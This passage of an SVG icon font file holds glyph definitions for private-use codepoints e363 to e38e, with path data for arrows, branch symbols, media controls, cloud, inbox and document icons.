<glyph unicode="&#xe363;" d="M 371.84,159.664L 286.093,159.686L 286.115,316.845L 161.75,316.845L 161.75,159.664L 76.16,159.686L 224-10.195 	z"  />
<glyph unicode="&#xe364;" d="M 223.664,12.16L 223.664,97.907L 380.845,97.885L 380.845,222.25L 223.664,222.25L 223.664,307.84L 53.805,159.978 	z"  />
<glyph unicode="&#xe365;" d="M 224.336,330.24L 224.336,244.493L 67.155,244.515L 67.155,75.35L 224.336,75.35L 224.336-10.24L 394.195,160 	z"  />
<glyph unicode="&#xe366;" d="M 394.24,160.336L 308.493,160.314L 308.515,3.155L 139.35,3.155L 139.35,160.336L 53.76,160.314L 224.022,330.195 	z"  />
<glyph unicode="&#xe367;" d="M 394.24,159.664L 308.493,159.686L 308.515,316.845L 139.35,316.845L 139.35,159.664L 53.76,159.686L 224-10.195 	z"  />
<glyph unicode="&#xe368;" d="M 223.664,330.24L 223.664,244.493L 380.845,244.515L 380.845,75.35L 223.664,75.35L 223.664-10.24L 53.805,160 	z"  />
<glyph unicode="&#xe369;" d="M 188.16,294.4c0,29.702-24.080,53.76-53.76,53.76C 104.72,348.16, 80.64,324.102, 80.64,294.4c0-22.109, 13.373-41.104, 32.48-49.347l0-170.083 
	C 94.013,66.726, 80.64,47.731, 80.64,25.6c0-29.68, 24.080-53.76, 53.76-53.76c 29.702,0, 53.76,24.080, 53.76,53.76c0,22.131-13.395,41.126-32.48,49.37L 155.68,245.053 
	C 174.787,253.296, 188.16,272.291, 188.16,294.4z M 165.424,25.6c0-17.136-13.888-31.024-31.024-31.024c-17.114,0-31.002,13.888-31.002,31.024S 117.286,56.624, 134.4,56.624
	C 151.536,56.624, 165.424,42.736, 165.424,25.6z M 134.4,263.376c-17.114,0-31.002,13.888-31.002,31.024S 117.286,325.424, 134.4,325.424
	c 17.136,0, 31.024-13.888, 31.024-31.024S 151.536,263.376, 134.4,263.376z M 334.902,74.97L 334.902,245.053 C 353.987,253.296, 367.36,272.291, 367.36,294.4
	c0,29.702-24.058,53.76-53.76,53.76c-29.658,0-53.76-24.058-53.76-53.76c0-22.109, 13.395-41.104, 32.502-49.347l0-170.083 C 273.213,66.726, 259.84,47.731, 259.84,25.6
	c0-29.68, 24.102-53.76, 53.76-53.76c 29.702,0, 53.76,24.080, 53.76,53.76C 367.36,47.731, 353.987,66.726, 334.902,74.97z M 282.576,294.4
	c0,17.136, 13.91,31.024, 31.024,31.024c 17.158,0, 31.024-13.888, 31.024-31.024S 330.758,263.376, 313.6,263.376C 296.486,263.376, 282.576,277.264, 282.576,294.4z
	 M 313.6-5.424c-17.114,0-31.024,13.888-31.024,31.024s 13.91,31.024, 31.024,31.024c 17.158,0, 31.024-13.888, 31.024-31.024S 330.758-5.424, 313.6-5.424z"  />
<glyph unicode="&#xe36a;" d="M 245.28,74.97L 245.28,245.053 C 264.387,253.296, 277.76,272.291, 277.76,294.4c0,29.702-24.080,53.76-53.76,53.76S 170.24,324.102, 170.24,294.4
	c0-22.109, 13.395-41.104, 32.48-49.347l0-170.083 C 183.613,66.726, 170.24,47.731, 170.24,25.6c0-29.68, 24.080-53.76, 53.76-53.76s 53.76,24.080, 53.76,53.76
	C 277.76,47.731, 264.387,66.726, 245.28,74.97z M 192.976,294.4c0,17.136, 13.888,31.024, 31.024,31.024S 255.024,311.536, 255.024,294.4S 241.136,263.376, 224,263.376
	S 192.976,277.264, 192.976,294.4z M 224-5.424c-17.136,0-31.024,13.888-31.024,31.024s 13.888,31.024, 31.024,31.024s 31.024-13.888, 31.024-31.024
	S 241.136-5.424, 224-5.424z"  />
<glyph unicode="&#xe36b;" d="M 402.058,52.57L 402.058,104 c0,31.069-20.563,77.28-77.258,77.28l-44.8,0 c-31.629,0-34.563,15.501-34.72,23.52L 245.28,267.43 
	C 264.387,275.696, 277.76,294.691, 277.76,316.8c0,29.68-24.058,53.76-53.76,53.76C 194.298,370.56, 170.24,346.48, 170.24,316.8c0-22.109, 13.373-41.104, 32.48-49.37L 202.72,204.8 
	c0-5.802-1.68-23.52-34.72-23.52l-44.8,0 c-56.694,0-77.28-46.211-77.28-77.28l0-51.43 C 26.813,44.326, 13.44,25.309, 13.44,3.2c0-29.68, 24.058-53.76, 53.76-53.76
	c 29.68,0, 53.76,24.080, 53.76,53.76c0,22.109-13.373,41.126-32.48,49.37L 88.48,104 c0,5.802, 1.68,34.72, 34.72,34.72l 44.8,0 c 13.597,0, 25.066,2.061, 34.72,5.555
	l0-91.706 C 183.613,44.326, 170.24,25.309, 170.24,3.2c0-29.68, 24.058-53.76, 53.76-53.76c 29.702,0, 53.76,24.080, 53.76,53.76c0,22.109-13.395,41.126-32.502,49.37
	l0,91.706 c 9.654-3.494, 21.123-5.555, 34.72-5.555l 44.8,0 c 31.629,0, 34.563-26.701, 34.742-34.72l0-51.43 C 340.413,44.326, 327.040,25.309, 327.040,3.2
	c0-29.68, 24.058-53.76, 53.76-53.76s 53.76,24.080, 53.76,53.76C 434.56,25.309, 421.187,44.326, 402.058,52.57z M 98.224,3.2c0-17.136-13.888-31.024-31.024-31.024
	S 36.176-13.936, 36.176,3.2S 50.064,34.224, 67.2,34.224S 98.224,20.336, 98.224,3.2z M 192.976,316.8c0,17.136, 13.91,31.024, 31.024,31.024
	c 17.114,0, 31.002-13.888, 31.002-31.024S 241.114,285.776, 224,285.776C 206.886,285.776, 192.976,299.664, 192.976,316.8z M 255.024,3.2
	c0-17.136-13.91-31.024-31.002-31.024c-17.136,0-31.024,13.888-31.024,31.024S 206.886,34.224, 224,34.224C 241.114,34.224, 255.024,20.336, 255.024,3.2z
	 M 380.8-27.824c-17.114,0-31.024,13.888-31.024,31.024s 13.91,31.024, 31.024,31.024s 31.024-13.888, 31.024-31.024S 397.914-27.824, 380.8-27.824z"  />
<glyph unicode="&#xe36c;" d="M 367.36,294.4c0,29.68-24.058,53.76-53.76,53.76S 259.84,324.080, 259.84,294.4c0-21.795, 12.992-40.522, 31.629-48.966c-5.085-43.635-33.197-52.438-73.808-65.117
	C 197.949,174.157, 175.034,166.989, 155.68,153.056L 155.68,245.030 C 174.787,253.296, 188.16,272.291, 188.16,294.4c0,29.68-24.080,53.76-53.76,53.76C 104.698,348.16, 80.64,324.080, 80.64,294.4
	c0-22.109, 13.373-41.104, 32.48-49.37l0-170.083 C 94.013,66.726, 80.64,47.731, 80.64,25.6c0-29.68, 24.058-53.76, 53.76-53.76c 29.68,0, 53.76,24.080, 53.76,53.76
	c0,21.795-12.992,40.522-31.651,48.966c 5.107,43.635, 33.242,52.461, 73.83,65.117c 41.283,12.902, 96.902,30.307, 103.802,105.034
	C 353.629,252.826, 367.36,272, 367.36,294.4z M 103.376,294.4c0,17.136, 13.888,31.024, 31.024,31.024S 165.424,311.536, 165.424,294.4S 151.536,263.376, 134.4,263.376
	S 103.376,277.264, 103.376,294.4z M 134.4-5.424c-17.136,0-31.024,13.888-31.024,31.024S 117.264,56.624, 134.4,56.624S 165.424,42.736, 165.424,25.6
	S 151.536-5.424, 134.4-5.424z M 313.6,263.376c-17.114,0-31.024,13.888-31.024,31.024S 296.486,325.424, 313.6,325.424S 344.624,311.536, 344.624,294.4
	S 330.714,263.376, 313.6,263.376z"  />
<glyph unicode="&#xe36d;" d="M 313.6,56.96c-22.109,0-41.126-13.395-49.37-32.48L 190.4,24.48 c-31.629,0-34.586,26.701-34.72,34.72l0,86.643 c 9.654-4.458, 21.123-7.123, 34.72-7.123
	l 73.83,0 c 8.243-19.107, 27.261-32.48, 49.37-32.48c 29.68,0, 53.76,24.080, 53.76,53.76S 343.28,213.76, 313.6,213.76c-22.109,0-41.126-13.395-49.37-32.48L 190.4,181.28 
	c-31.629,0-34.586,26.701-34.72,34.72L 155.68,267.43 C 174.787,275.674, 188.138,294.691, 188.138,316.8c0,29.68-24.058,53.76-53.738,53.76S 80.64,346.48, 80.64,316.8
	c0-22.109, 13.395-41.104, 32.48-49.37L 113.12,59.2 c0-31.069, 20.586-77.28, 77.28-77.28l 73.83,0 c 8.243-19.107, 27.261-32.48, 49.37-32.48
	c 29.68,0, 53.76,24.058, 53.76,53.76C 367.36,32.88, 343.28,56.96, 313.6,56.96z M 313.6,191.024c 17.136,0, 31.024-13.888, 31.024-31.024s-13.888-31.024-31.024-31.024
	s-31.024,13.888-31.024,31.024S 296.464,191.024, 313.6,191.024z M 103.376,316.8c0,17.136, 13.888,31.024, 31.024,31.024S 165.424,333.936, 165.424,316.8S 151.536,285.776, 134.4,285.776
	S 103.376,299.664, 103.376,316.8z M 313.6-27.824c-17.136,0-31.024,13.888-31.024,31.024s 13.888,31.024, 31.024,31.024s 31.024-13.888, 31.024-31.024
	S 330.736-27.824, 313.6-27.824z"  />
<glyph unicode="&#xe36e;" d="M 414.87,350.87c-8.736,8.758-22.915,8.758-31.674,0L 33.13,0.803c-8.758-8.758-8.758-22.938,0-31.674
		c 4.368-4.368, 10.102-6.563, 15.837-6.563s 11.469,2.195, 15.837,6.563L 414.87,319.197C 423.629,327.955, 423.629,342.157, 414.87,350.87z
		 M 318.102,178.077c 31.114-42.202, 40.723-78.848, 34.922-84.65c-5.824-5.779-42.426,3.83-84.627,34.966l-123.782-123.805
		c 93.766-41.171, 215.645,45.158, 237.552,67.066c 20.72,20.675, 2.173,74.166-41.574,128.912L 318.102,178.077z M 194.141,206.166
		c-24.618,37.117-32.032,67.693-26.746,73.002c 5.219,5.264, 35.84-2.173, 72.957-26.79l 22.915,22.915C 212.554,312.79, 164.819,327.552, 145.533,308.198
		C 124.723,287.456, 45.875,176.554, 73.136,85.162L 194.141,206.166z"  />
<glyph unicode="&#xe36f;" d="M 98.515,266.154C 73.382,241.088-36.512,84.4, 58.442-10.509c 94.886-94.931, 251.552,14.941, 276.707,40.096
		c 25.133,25.066-7.482,98.448-72.845,163.789C 196.963,258.739, 123.67,291.354, 98.515,266.154z M 306.006,51.36c-7.414-7.37-64.848,10.237-120.131,65.542
		C 130.614,172.253, 112.963,229.664, 120.378,237.078c 7.347,7.414, 64.848-10.237, 120.064-65.565C 295.77,116.253, 313.421,58.774, 306.006,51.36z M 309.389,227.894
		c 5.734,0, 11.469,2.195, 15.837,6.563l 42.672,42.694c 8.758,8.758, 8.758,22.915,0,31.674s-22.938,8.758-31.674,0l-42.672-42.694
		c-8.758-8.736-8.758-22.915,0-31.674C 297.898,230.090, 303.654,227.894, 309.389,227.894z M 228.726,283.312c 3.472-1.949, 7.213-2.867, 10.931-2.867
		c 7.84,0, 15.434,4.144, 19.555,11.469l 24.214,43.232c 6.048,10.797, 2.195,24.461-8.602,30.486s-24.438,2.195-30.486-8.602l-24.214-43.232
		C 214.099,303.024, 217.93,289.36, 228.726,283.312z M 424.682,215.776c-6.070,10.797-19.712,14.627-30.486,8.602l-43.232-24.214
		c-10.774-6.048-14.627-19.69-8.602-30.486c 4.122-7.325, 11.715-11.469, 19.555-11.469c 3.718,0, 7.482,0.941, 10.931,2.867l 43.232,24.214
		C 426.877,191.338, 430.73,205.002, 424.682,215.776z"  />
<glyph unicode="&#xe370;" d="M 424.861,82.989c0-19.734-16.15-35.84-35.862-35.84l-349.44,0 c-19.712,0-22.019,8.266-5.107,18.413l 359.654,202.81
		c 16.912,10.147, 30.755,2.307, 30.755-17.405L 424.861,82.989 z"  />
<glyph unicode="&#xe371;" d="M 91.84,68.16L 22.4,3.2l 44.8-44.8l 64.96,69.44l 44.8-47.040l0,132.16 L 44.8,112.96 L 91.84,68.16z M 425.6,316.8l-44.8,44.8l-64.96-69.44l-44.8,47.040l0-132.16 L 403.2,207.040 l-47.040,44.8L 425.6,316.8z"  />
<glyph unicode="&#xe372;" d="M 260.131,336.691l 53.85-43.59l-67.872-65.632l 44.8-44.8l 65.677,67.917l 44.621-55.037L 401.206,336.691 L 260.131,336.691 z M 156.531,137.869l-65.654-67.872l-44.128,54.454
	l0-141.12 l 141.12,0 l-54.454,44.106l 67.894,65.654L 156.531,137.869z"  />
<glyph unicode="&#xe373;" d="M 274.467,169.901l-162.96,102.368C 99.456,280.154, 89.6,274.352, 89.6,259.344l0-198.71 c0-15.008, 9.856-20.787, 21.907-12.902l 162.96,102.346
		c0,0, 5.891,4.144, 5.891,9.901S 274.467,169.901, 274.467,169.901z M 324.8,290.010c-19.891,0-33.6-6.115-33.6-26.006l0-208.006 
		c0-19.914, 13.709-26.029, 33.6-26.029s 33.6,6.115, 33.6,26.029L 358.4,264.003 C 358.4,283.894, 344.691,290.010, 324.8,290.010z"  />
<glyph unicode="&#xe374;" d="M 167.664,160c0-5.779, 5.869-9.901, 5.869-9.901l 162.96-102.346C 348.566,39.846, 358.4,45.67, 358.4,60.634L 358.4,259.366 
		c0,14.986-9.834,20.81-21.907,12.902l-162.96-102.368C 173.533,169.878, 167.664,165.779, 167.664,160z M 89.6,264.003l0-208.006 c0-19.891, 13.709-25.984, 33.6-25.984
		S 156.8,36.106, 156.8,55.974L 156.8,264.003 c0,19.914-13.709,26.006-33.6,26.006S 89.6,283.894, 89.6,264.003z"  />
<glyph unicode="&#xe375;" d="M 31.338,160c0-6.25, 6.25-10.73, 6.25-10.73l 167.171-110.858c 12.813-8.579, 23.341-2.285, 23.341,13.978L 228.099,267.632 
		c0,16.262-10.528,22.534-23.341,14l-167.171-110.88C 37.61,170.73, 31.338,166.25, 31.338,160z M 234.64,160c0-6.25, 6.25-10.73, 6.25-10.73
		l 161.347-110.858c 12.835-8.579, 23.341-2.285, 23.341,13.978L 425.578,267.632 c0,16.262-10.506,22.534-23.341,14l-161.347-110.88
		C 240.89,170.73, 234.64,166.25, 234.64,160z"  />
<glyph unicode="&#xe376;" d="M 410.39,170.73l-167.149,110.88C 230.406,290.166, 219.878,283.872, 219.878,267.632l0-215.242 c0-16.262, 10.528-22.557, 23.363-13.978l 167.149,110.858
		c0,0, 6.25,4.48, 6.25,10.73S 410.39,170.73, 410.39,170.73z M 207.11,170.73L 45.741,281.632C 32.928,290.166, 22.422,283.872, 22.422,267.632l0-215.242 
		c0-16.262, 10.506-22.557, 23.341-13.978l 161.37,110.858c0,0, 6.25,4.48, 6.25,10.73S 207.11,170.73, 207.11,170.73z"  />
<glyph unicode="&#xe377;" d="M 324.8,294.4l-201.6,0 C 100.934,294.4, 89.6,287.546, 89.6,265.28l0-210.56 C 89.6,32.454, 100.934,25.6, 123.2,25.6l 201.6,0 c 22.266,0, 33.6,6.854, 33.6,29.12L 358.4,265.28 C 358.4,287.546, 347.066,294.4, 324.8,294.4
		z"  />
<glyph unicode="&#xe378;" d="M 224,316.8c-86.598,0-156.8-70.202-156.8-156.8c0-86.598, 70.202-156.8, 156.8-156.8c 86.576,0, 156.8,70.202, 156.8,156.8C 380.8,246.598, 310.576,316.8, 224,316.8z"  />
<glyph unicode="&#xe379;" d="M 302.4,316.8c-22.266,0-40.32-6.854-40.32-29.12l0-255.36 c0-22.266, 18.054-29.12, 40.32-29.12s 40.32,6.854, 40.32,29.12L 342.72,287.68 C 342.72,309.946, 324.666,316.8, 302.4,316.8zM 145.6,316.8C 123.334,316.8, 105.28,309.946, 105.28,287.68l0-255.36 c0-22.266, 18.054-29.12, 40.32-29.12s 40.32,6.854, 40.32,29.12L 185.92,287.68 C 185.92,309.946, 167.866,316.8, 145.6,316.8z"  />
<glyph unicode="&#xe37a;" d="M 374.035,171.491L 182.269,290.301c-13.978,9.162-25.402,2.397-25.402-15.008l0-230.63 c0-17.405, 11.446-24.147, 25.402-14.986l 191.789,118.81
		c0,0, 6.81,4.794, 6.81,11.514C 380.845,166.698, 374.035,171.491, 374.035,171.491z"  />
<glyph unicode="&#xe37b;" d="M 174.72,109.13l-89.6,35.862l0-30.33 l 89.6-35.862L 174.72,109.13 z M 174.72,202.202l-89.6,35.84L 85.12,207.712 l 89.6-35.84L 174.72,202.202 z M 415.766,357.747
		c-6.138,4.166-13.978,5.018-20.877,2.262L 224,291.645L 53.11,360.010C 46.211,362.765, 38.394,361.914, 32.234,357.747C 26.096,353.581, 22.4,346.637, 22.4,339.2l0-286.72 
		c0-9.162, 5.578-17.382, 14.067-20.81l 178.819-71.523c0,0, 3.674-1.187, 4.346-1.322C 221.088-41.443, 222.544-41.6, 224-41.6
		c 1.434,0, 2.912,0.157, 4.346,0.448c 0.672,0.134, 4.346,1.344, 4.346,1.344l 178.797,71.501C 420.022,35.098, 425.6,43.318, 425.6,52.48L 425.6,339.2 
		C 425.6,346.637, 421.904,353.581, 415.766,357.747z M 201.6,4.23l-143.36,57.344L 58.24,312.634 L 201.6,255.267L 201.6,4.23 z M 389.76,61.552l-143.36-57.344L 246.4,255.267 l 143.36,57.366L 389.76,61.552 z
		 M 362.88,144.992l-89.622-35.862l0-30.33 l 89.622,35.862L 362.88,144.992 z M 362.88,238.042l-89.622-35.84L 273.258,171.872 l 89.622,35.84L 362.88,238.042 z"  />
<glyph unicode="&#xe37c;" d="M 324.8,384l-94.080,0 C 218.355,384, 212.8,373.965, 212.8,361.6l 44.8,0 c 12.387,0, 22.4-10.035, 22.4-22.4l0-277.76 l 67.2-80.64L 347.2,361.6 C 347.2,373.965, 337.187,384, 324.8,384z M 212.8,316.8L 118.72,316.8 
	C 106.355,316.8, 100.8,306.765, 100.8,294.4l0-358.4 l 67.2,80.64l 67.2-80.64L 235.2,294.4 C 235.2,306.765, 225.187,316.8, 212.8,316.8z"  />
<glyph unicode="&#xe37d;" d="M 282.24,361.6L 161.28,361.6 C 148.893,361.6, 143.36,351.565, 143.36,339.2l0-380.8 l 80.64,80.64l 80.64-80.64L 304.64,339.2 C 304.64,351.565, 294.605,361.6, 282.24,361.6z"  />
<glyph unicode="&#xe37e;" d="M 340.771,212.886c-6.16,0-12.23-0.538-18.122-1.523c-14.694,48.048-60.211,83.059-114.15,83.059c-65.811,0-119.146-52.147-119.146-116.48
		c0-5.734, 0.448-11.379, 1.277-16.912C 87.472,161.389, 84.291,161.635, 81.021,161.635C 36.288,161.635,0,126.154,0,82.429
		c0-43.747, 36.288-79.206, 81.021-79.206L 192.64,3.222 l0,85.12 L 145.6,88.342 l 78.4,103.040l 78.4-103.040l-47.040,0 l0-85.12 l 85.389,0 c 59.248,0, 107.229,46.95, 107.229,104.832
		C 448,165.958, 399.997,212.886, 340.771,212.886z"  />
<glyph unicode="&#xe37f;" d="M 340.771,212.886c-6.16,0-12.23-0.538-18.122-1.523c-14.694,48.048-60.211,83.059-114.15,83.059c-65.811,0-119.146-52.147-119.146-116.48
		c0-5.734, 0.448-11.379, 1.277-16.912C 87.472,161.389, 84.291,161.635, 81.021,161.635C 36.288,161.635,0,126.154,0,82.429
		c0-43.747, 36.288-79.206, 81.021-79.206l 259.75,0 c 59.248,0, 107.229,46.95, 107.229,104.832C 448,165.958, 399.997,212.886, 340.771,212.886z"  />
<glyph unicode="&#xe380;" d="M 418.522,128.685l-70.515,167.821c-5.555,11.2-20.339,20.362-32.861,20.362L 269.248,316.867 L 277.76,225.811L 338.24,225.811 L 224,131.059L 109.76,225.811l 60.48,0 
		l 8.512,91.034L 132.877,316.845 c-12.499,0-27.283-9.162-32.861-20.362l-70.515-167.821c-5.6-11.2-8.467-30.464-6.429-42.829l 15.232-82.566
		c 2.061-12.342, 13.955-22.445, 26.454-22.445l 318.506,0 c 12.522,0, 24.416,10.102, 26.477,22.445l 15.232,82.566
		C 426.989,98.198, 424.122,117.485, 418.522,128.685z M 387.968,69.862l-5.779-33.645c-1.747-12.925-13.395-23.498-25.85-23.498L 91.661,12.72 
		c-12.477,0-24.125,10.573-25.85,23.498l-5.802,33.645c-1.725,12.925, 7.078,23.498, 19.555,23.498l 288.87,0 
		C 380.934,93.338, 389.715,82.787, 387.968,69.862z"  />
<glyph unicode="&#xe381;" d="M 339.853,339.2L 89.6,339.2 C 64.96,339.2, 44.8,319.040, 44.8,294.4l0-268.8 c0-24.64, 20.16-44.8, 44.8-44.8l 268.8,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 403.2,269.155 L 339.853,339.2z M 313.6,204.8c0-12.32-10.080-22.4-22.4-22.4L 156.8,182.4 
	C 144.48,182.4, 134.4,192.48, 134.4,204.8L 134.4,316.8 l 179.2,0 L 313.6,204.8 z M 291.2,294.4l-44.8,0 l0-89.6 l 44.8,0 L 291.2,294.4 z"  />
<glyph unicode="&#xe382;" d="M 433.216,80.614l-71.322,47.981l-43.971,0 l 76.16-58.419l-79.408,0 c-2.285,0-4.323-1.165-5.376-2.979l-18.278-50.064L 156.979,17.133 l-18.301,50.064
	c-1.008,1.814-3.091,2.979-5.376,2.979L 53.917,70.176 l 76.182,58.419L 86.106,128.595 l-71.299-47.981c-10.618-6.339-16.957-20.966-14.112-32.458l 12.566-68.858
	c 2.845-11.514, 15.478-20.944, 28.022-20.944l 365.411,0 c 12.589,0, 25.2,9.43, 28.045,20.944l 12.566,68.858
	C 450.195,59.67, 443.834,74.275, 433.216,80.614z M 340.502,224.467L 266.56,224.467 l0,114.688 l-85.12,0 l0-114.688 L 107.52,224.467 l 116.48-109.312L 340.502,224.467z"  />
<glyph unicode="&#xe383;" d="M 224,339.155l-116.48-109.312l 73.92,0 l0-114.688 l 85.12,0 l0,114.688 l 73.942,0 L 224,339.155z M 433.216,80.614l-71.322,47.981l-43.971,0 l 76.16-58.419l-79.408,0 
		c-2.285,0-4.323-1.165-5.376-2.979l-18.278-50.064L 156.979,17.133 l-18.301,50.064c-1.008,1.814-3.091,2.979-5.376,2.979L 53.917,70.176 l 76.182,58.419L 86.106,128.595 
		l-71.299-47.981c-10.618-6.339-16.957-20.966-14.112-32.458l 12.566-68.858c 2.845-11.514, 15.478-20.944, 28.022-20.944l 365.411,0 
		c 12.589,0, 25.2,9.43, 28.045,20.944l 12.566,68.858C 450.195,59.67, 443.834,74.275, 433.216,80.614z"  />
<glyph unicode="&#xe384;" d="M 75.914,206.771l 24.685-217.482C 101.92-21.037, 151.782-54.995, 224-55.040c 72.218,0.045, 122.102,34.003, 123.424,44.33l 24.685,217.482
	C 334.387,185.67, 278.006,175.68, 224,175.68S 113.613,185.67, 75.914,206.771z M 294.941,341.171l-19.242,21.347C 268.285,373.069, 260.221,375.040, 244.518,375.040L 203.482,375.040 
	c-15.68,0-23.744-1.971-31.181-12.522L 153.082,341.171C 95.514,331.114, 53.76,304.435, 53.76,284.768l0-3.83 c0-34.63, 76.205-62.72, 170.24-62.72s 170.24,28.090, 170.24,62.72
	L 394.24,284.768 C 394.24,304.435, 352.509,331.114, 294.941,341.171z M 270.346,291.286L 242.301,321.28L 205.699,321.28 L 177.654,291.286L 139.574,291.286 c0,0, 41.709,49.728, 47.286,56.47
	C 191.117,352.909, 195.485,354.88, 201.13,354.88l 45.763,0 c 5.645,0, 9.99-1.971, 14.269-7.123c 5.555-6.742, 47.286-56.47, 47.286-56.47L 270.346,291.286 z"  />
<glyph unicode="&#xe385;" d="M 380.083,272c0,22.4-22.288,22.4-22.288,22.4L 90.205,294.4 c0,0-22.288,0-22.288-22.4l0-22.4 l 312.166,0 L 380.083,272 z M 313.174,339.2L 134.803,339.2 c0,0-22.288,0-22.288-22.4l 222.97,0 
		C 335.485,339.2, 313.174,339.2, 313.174,339.2z M 424.659,249.6c-13.194,13.261-13.194,13.261-13.194,13.261L 411.466,227.2 L 36.512,227.2 L 36.512,262.861 c0,0,0,0-13.194-13.261
		S 0.672,232.778, 6.003,204.778C 11.267,176.89, 36.87,23.898, 40.656,3.2c 4.189-22.714, 27.261-22.4, 27.261-22.4l 312.166,0 c0,0, 23.072-0.314, 27.261,22.4
		c 3.808,20.698, 29.389,173.69, 34.675,201.578C 447.328,232.778, 437.875,236.339, 424.659,249.6z M 313.174,128.64c0,0,0-22.4-22.31-22.4L 157.114,106.24 
		c-22.288,0-22.288,22.4-22.288,22.4l0,44.8 l 31.226,0 L 166.051,137.6 l 115.875,0 L 281.926,173.44 l 31.27,0 L 313.197,128.64 z"  />
<glyph unicode="&#xe386;" d="M 427.168,227.2L 20.832,227.2 C 0.224,227.2-0.829,217.165, 0.314,204.89l 18.48-201.779C 19.914-9.165, 22.826-19.2, 43.411-19.2l 361.2,0 
		c 21.011,0, 23.498,10.035, 24.618,22.31l 18.48,201.779C 448.806,217.165, 447.798,227.2, 427.168,227.2z M 412.25,276.48C 409.786,286.336, 397.578,294.4, 385.168,294.4l-152.634,0 
		C 220.102,294.4, 202.765,301.501, 193.962,310.214L 180.611,323.386C 171.83,332.099, 154.47,339.2, 142.061,339.2L 69.126,339.2 C 56.717,339.2, 45.427,329.187, 44.061,316.934L 37.52,258.56
		l 379.254,0 L 412.25,276.48z"  />
<glyph unicode="&#xe387;" d="M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.662,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.662,361.6, 336,361.6z M 286.63,148.33
		c-5.309-8.288-8.131-4.749-6.541,0c 4.211,12.499, 4.054,50.333-31.181,55.866l0-116.771 c0-21.773-12.544-35.437-39.2-43.994
		c-25.894-8.288-54.88,0.336-61.667,18.95c-6.765,18.592, 8.467,41.216, 34.026,50.534c 14.269,5.174, 28.739,5.13, 39.894,0.806L 221.962,278.451 l 26.947,0 
		C 248.909,250.16, 324.643,207.466, 286.63,148.33z"  />
<glyph unicode="&#xe388;" d="M 443.52,272L 443.52,298.88 C 443.52,308.781, 435.478,316.8, 425.6,316.8L 22.4,316.8 C 12.499,316.8, 4.48,308.781, 4.48,298.88L 4.48,272 l 44.8,0 l0-44.8 l-44.8,0 l0-44.8 l 44.8,0 l0-44.8 l-44.8,0 l0-44.8 l 44.8,0 l0-44.8 l-44.8,0 l0-26.88 
		C 4.48,11.219, 12.499,3.2, 22.4,3.2l 403.2,0 c 9.878,0, 17.92,8.019, 17.92,17.92L 443.52,48 l-44.8,0 l0,44.8 l 44.8,0 l0,44.8 l-44.8,0 L 398.72,182.4 l 44.8,0 L 443.52,227.2 l-44.8,0 L 398.72,272 L 443.52,272 z M 174.72,92.8L 174.72,227.2 l 112-67.2L 174.72,92.8z"  />
<glyph unicode="&#xe389;" d="M 383.6,223.325l-45.83,126.246c-3.382,9.318-13.328,14.246-22.154,11.021L 11.043,249.421C 2.195,246.218-2.262,236.048, 1.12,226.73
		l 48.317-133.101L 49.437,164.973 c0,32.189, 25.715,58.352, 57.366,58.352l 80.483,0 l 95.984,67.379l 55.552-67.379L 383.6,223.325 z M 430.931,182.915L 106.803,182.915 
		c-9.408,0-17.069-8.042-17.069-17.965l0-211.030 c0-9.901, 7.638-17.965, 17.069-17.965l 324.128,0 c 9.43,0, 17.069,8.042, 17.069,17.965L 448,164.973 
		C 448,174.874, 440.362,182.915, 430.931,182.915z M 406.202-19.133L 137.514-19.133 l0,38.506 l 41.328,96.208l 62.026-76.989l 58.173,59.629l 74.794,26.992l 32.368-72.173
		L 406.202-19.133 z"  />
<glyph unicode="&#xe38a;" d="M0,272l0-224 c0-24.64, 20.16-44.8, 44.8-44.8l 358.4,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 448,272 c0,24.64-20.16,44.8-44.8,44.8L 44.8,316.8 C 20.16,316.8,0,296.64,0,272z M 403.2,272l0-224 L 44.8,48 L 44.8,272 L 403.2,272 z"  />
<glyph unicode="&#xe38b;" d="M 434.515,217.926L 267.747,262.592L 238.56,371.501c-2.442,9.094-12.186,14.403-21.773,11.827L 13.507,328.874
	C 3.92,326.32-1.859,316.845, 0.56,307.75l 72.33-269.965c 2.442-9.094, 12.186-14.403, 21.75-11.827l 80.931,21.683l-11.043-41.171
	c-2.442-9.117, 3.338-18.57, 12.925-21.146l 181.664-48.675c 9.587-2.554, 19.331,2.733, 21.773,11.827l 66.55,248.326
	C 449.882,205.898, 444.102,215.373, 434.515,217.926z M 36.602,302.643l 175.37,46.95l 64.938-242.323l-175.392-46.95L 36.602,302.643z M 351.21-29.616
	l-152.656,41.754L 210.56,57.005l 87.382,23.408c 9.587,2.576, 15.389,12.029, 12.947,21.146l-33.779,126.045l 133.19-36.534L 351.21-29.616z"  />
<glyph unicode="&#xe38c;" d="M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.64,361.6, 336,361.6z M 336,3.2L 112,3.2 L 112,316.8 l 224,0 L 336,3.2 z"  />
<glyph unicode="&#xe38d;" d="M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.64,361.6, 336,361.6z M 130.189,268.214l 187.6,0 l0-39.2 L 130.189,229.014 L 130.189,268.214 
	z M 317.789,53.152L 130.189,53.152 l0,39.2 l 187.6,0 L 317.789,53.152 z M 318.326,140.512L 130.726,140.512 l0,40.32 l 187.6,0 L 318.326,140.512 z"  />
<glyph unicode="&#xe38e;" d="M 161.795,140.512l 125.44,0 l0,40.32 l-125.44,0 L 161.795,140.512 z M 336,361.6L 112,361.6 C 87.36,361.6, 67.2,341.44, 67.2,316.8l0-313.6 c0-24.64, 20.16-44.8, 44.8-44.8l 224,0 c 24.64,0, 44.8,20.16, 44.8,44.8L 380.8,316.8 C 380.8,341.44, 360.64,361.6, 336,361.6z
		 M 336,3.2L 112,3.2 L 112,316.8 l 224,0 L 336,3.2 z M 286.72,268.214L 161.28,268.214 l0-39.2 l 125.44,0 L 286.72,268.214 z M 286.72,92.352L 161.28,92.352 l0-39.2 l 125.44,0 L 286.72,92.352 z"  />
